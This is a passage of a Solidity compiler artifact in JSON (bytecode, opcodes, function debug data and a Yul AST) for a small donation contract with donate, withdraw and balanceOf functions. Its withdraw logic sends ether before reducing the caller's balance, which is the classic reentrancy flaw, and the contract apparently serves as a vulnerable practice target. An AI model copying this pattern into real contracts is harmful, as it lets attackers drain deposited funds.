fffffff168152602001908152602001600020549050919050565b6000818361031c9190610415565b905092915050565b60008135905061033381610512565b92915050565b60008135905061034881610529565b92915050565b6000602082840312156103645761036361050a565b5b600061037284828501610324565b91505092915050565b6000602082840312156103915761039061050a565b5b600061039f84828501610339565b91505092915050565b60006103b560008361040a565b91506103c08261050f565b600082019050919050565b6103d4816104d1565b82525050565b60006103e5826103a8565b9150819050919050565b600060208201905061040460008301846103cb565b92915050565b600081905092915050565b6000610420826104d1565b915061042b836104d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156104605761045f6104db565b5b828201905092915050565b6000610476826104d1565b9150610481836104d1565b925082821015610494576104936104db565b5b828203905092915050565b60006104aa826104b1565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b50565b61051b8161049f565b811461052657600080fd5b50565b610532816104d1565b811461053d57600080fd5b5056fea2646970667358221220d0f0e125e036895e7acd49d94bad9d67a46470c82bcf4423da86ebcfadf59e5664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x576 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x42 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH3 0x362A95 EQ PUSH2 0x4E JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x6A JUMPI DUP1 PUSH4 0x2E1A7D4D EQ PUSH2 0xA7 JUMPI DUP1 PUSH4 0x70A08231 EQ PUSH2 0xD0 JUMPI PUSH2 0x49 JUMP JUMPDEST CALLDATASIZE PUSH2 0x49 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x68 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x63 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x10D JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x76 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x91 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x8C SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x1A3 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x9E SWAP2 SWAP1 PUSH2 0x3EF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB3 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xCE PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xC9 SWAP2 SWAP1 PUSH2 0x37B JUMP JUMPDEST PUSH2 0x1BB JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xDC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF7 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xF2 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH2 0x2C6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x104 SWAP2 SWAP1 PUSH2 0x3EF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x15E CALLVALUE PUSH1 0x0 DUP1 DUP5 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH2 0x30E SWAP1 SWAP2 SWAP1 PUSH4 0xFFFFFFFF AND JUMP JUMPDEST PUSH1 0x0 DUP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT PUSH2 0x2C3 JUMPI PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD PUSH2 0x226 SWAP1 PUSH2 0x3DA JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x263 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x268 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP2 PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD PUSH2 0x2BA SWAP2 SWAP1 PUSH2 0x46B JUMP JUMPDEST SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 DUP4 PUSH2 0x31C SWAP2 SWAP1 PUSH2 0x415 JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x333 DUP2 PUSH2 0x512 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x348 DUP2 PUSH2 0x529 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x364 JUMPI PUSH2 0x363 PUSH2 0x50A JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x372 DUP5 DUP3 DUP6 ADD PUSH2 0x324 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x391 JUMPI PUSH2 0x390 PUSH2 0x50A JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x39F DUP5 DUP3 DUP6 ADD PUSH2 0x339 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3B5 PUSH1 0x0 DUP4 PUSH2 0x40A JUMP JUMPDEST SWAP2 POP PUSH2 0x3C0 DUP3 PUSH2 0x50F JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3D4 DUP2 PUSH2 0x4D1 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3E5 DUP3 PUSH2 0x3A8 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x404 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x3CB JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x420 DUP3 PUSH2 0x4D1 JUMP JUMPDEST SWAP2 POP PUSH2 0x42B DUP4 PUSH2 0x4D1 JUMP JUMPDEST SWAP3 POP DUP3 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB DUP3 GT ISZERO PUSH2 0x460 JUMPI PUSH2 0x45F PUSH2 0x4DB JUMP JUMPDEST JUMPDEST DUP3 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x476 DUP3 PUSH2 0x4D1 JUMP JUMPDEST SWAP2 POP PUSH2 0x481 DUP4 PUSH2 0x4D1 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x494 JUMPI PUSH2 0x493 PUSH2 0x4DB JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4AA DUP3 PUSH2 0x4B1 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x51B DUP2 PUSH2 0x49F JUMP JUMPDEST DUP2 EQ PUSH2 0x526 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x532 DUP2 PUSH2 0x4D1 JUMP JUMPDEST DUP2 EQ PUSH2 0x53D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xD0 CREATE 0xE1 0x25 0xE0 CALLDATASIZE DUP10 0x5E PUSH27 0xCD49D94BAD9D67A46470C82BCF4423DA86EBCFADF59E5664736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "174:602:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_79": {
"entryPoint": null,
"id": 79,
"parameterSlots": 0,
"returnSlots": 0
},
"@add_311": {
"entryPoint": 782,
"id": 311,
"parameterSlots": 2,
"returnSlots": 1
},
"@balanceOf_39": {
"entryPoint": 710,
"id": 39,
"parameterSlots": 1,
"returnSlots": 1
},
"@balances_9": {
"entryPoint": 419,
"id": 9,
"parameterSlots": 0,
"returnSlots": 0
},
"@donate_27": {
"entryPoint": 269,
"id": 27,
"parameterSlots": 1,
"returnSlots": 0
},
"@withdraw_75": {
"entryPoint": 443,
"id": 75,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_address": {
"entryPoint": 804,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 825,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_address": {
"entryPoint": 846,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 891,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 936,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 971,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 986,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 1007,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 1034,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_add_t_uint256": {
"entryPoint": 1045,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 1131,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 1183,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 1201,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 1233,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 1243,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 1290,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470": {
"entryPoint": 1295,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 1298,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 1321,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:3972:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "59:87:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "69:29:2",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "91:6:2"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "78:12:2"
},
"nodeType": "YulFunctionCall",
"src": "78:20:2"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "69:5:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "134:5:2"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "107:26:2"
},
"nodeType": "YulFunctionCall",
"src": "107:33:2"
},
"nodeType": "YulExpressionStatement",
"src": "107:33:2"
}
]
},
"name": "abi_decode_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "37:6:2",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "45:3:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "53:5:2",
"type": ""
}
],
"src": "7:139:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "204:87:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "214:29:2",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "236:6:2"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "223:12:2"
},
"nodeType": "YulFunctionCall",
"src": "223:20:2"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "214:5:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "279:5:2"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "252:26:2"
},
"nodeType": "YulFunctionCall",
"src": "252:33:2"
},
"nodeType": "YulExpressionStatement",
"src": "252:33:2"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "182:6:2",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "190:3:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "198:5:2",
"type": ""
}
],
"src": "152:139:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "363:263:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "409:83:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "411:77:2"
},
"nodeType": "YulFunctionCall",
"src": "411:79:2"
},
"nodeType": "YulExpressionStatement",
"src": "411:79:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "384:7:2"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "393:9:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "380:3:2"
},
"nodeType": "YulFunctionCall",
"src": "380:23:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "405:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "376:3:2"
},
"nodeType": "YulFunctionCall",
"src": "376:32:2"
},
"nodeType": "YulIf",
"src": "373:119:2"
},
{
"nodeType": "YulBlock",
"src": "502:117:2",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "517:15:2",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "531:1:2",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "521:6:2",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "546:63:2",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "581:9:2"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "592:6:2"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "577:3:2"
},
"nodeType": "YulFunctionCall",
"src": "577:22:2"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "601:7:2"
}
],
"functionName": {
"name": "abi_decode_t_address",
"nodeType": "YulIdentifier",
"src": "556:20:2"
},
"nodeType": "YulFunctionCall",
"src": "556:53:2"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "546:6:2"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "333:9:2",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "344:7:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "356:6:2",
"type": ""
}
],
"src": "297:329:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "698:263:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "744:83:2",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "746:77:2"
},
"nodeType": "YulFunctionCall",
"src": "746:79:2"
},
"nodeType": "YulExpressionStatement",
"src": "746:79:2"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "719:7:2"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "728:9:2"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "715:3:2"
},
"nodeType": "YulFunctionCall",
"src": "715:23:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "740:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "711:3:2"
},
"nodeType": "YulFunctionCall",
"src": "711:32:2"
},
"nodeType": "YulIf",
"src": "708:119:2"
},
{
"nodeType": "YulBlock",
"src": "837:117:2",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "852:15:2",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "866:1:2",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "856:6:2",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "881:63:2",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "916:9:2"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "927:6:2"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "912:3:2"
},
"nodeType": "YulFunctionCall",
"src": "912:22:2"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "936:7:2"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "891:20:2"
},
"nodeType": "YulFunctionCall",
"src": "891:53:2"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "881:6:2"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "668:9:2",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "679:7:2",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "691:6:2",
"type": ""
}
],
"src": "632:329:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1130:235:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1140:90:2",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1223:3:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1228:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "1147:75:2"
},
"nodeType": "YulFunctionCall",
"src": "1147:83:2"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1140:3:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1328:3:2"
}
],
"functionName": {
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulIdentifier",
"src": "1239:88:2"
},
"nodeType": "YulFunctionCall",
"src": "1239:93:2"
},
"nodeType": "YulExpressionStatement",
"src": "1239:93:2"
},
{
"nodeType": "YulAssignment",
"src": "1341:18:2",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1352:3:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1357:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1348:3:2"
},
"nodeType": "YulFunctionCall",
"src": "1348:11:2"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "1341:3:2"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1118:3:2",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1126:3:2",
"type": ""
}
],
"src": "967:398:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1436:53:2",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1453:3:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1476:5:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1458:17:2"
},
"nodeType": "YulFunctionCall",
"src": "1458:24:2"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1446:6:2"
},
"nodeType": "YulFunctionCall",
"src": "1446:37:2"
},
"nodeType": "YulExpressionStatement",
"src": "1446:37:2"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1424:5:2",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1431:3:2",
"type": ""
}
],
"src": "1371:118:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1683:191:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1694:154:2",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1844:3:2"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "1701:141:2"
},
"nodeType": "YulFunctionCall",
"src": "1701:147:2"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1694:3:2"
}
]
},
{
"nodeType": "YulAssignment",
"src": "1858:10:2",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1865:3:2"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "1858:3:2"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1670:3:2",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1679:3:2",
"type": ""
}
],
"src": "1495:379:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1978:124:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1988:26:2",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2000:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2011:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1996:3:2"
},
"nodeType": "YulFunctionCall",
"src": "1996:18:2"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1988:4:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "2068:6:2"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2081:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2092:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2077:3:2"
},
"nodeType": "YulFunctionCall",
"src": "2077:17:2"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "2024:43:2"
},
"nodeType": "YulFunctionCall",
"src": "2024:71:2"
},
"nodeType": "YulExpressionStatement",
"src": "2024:71:2"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
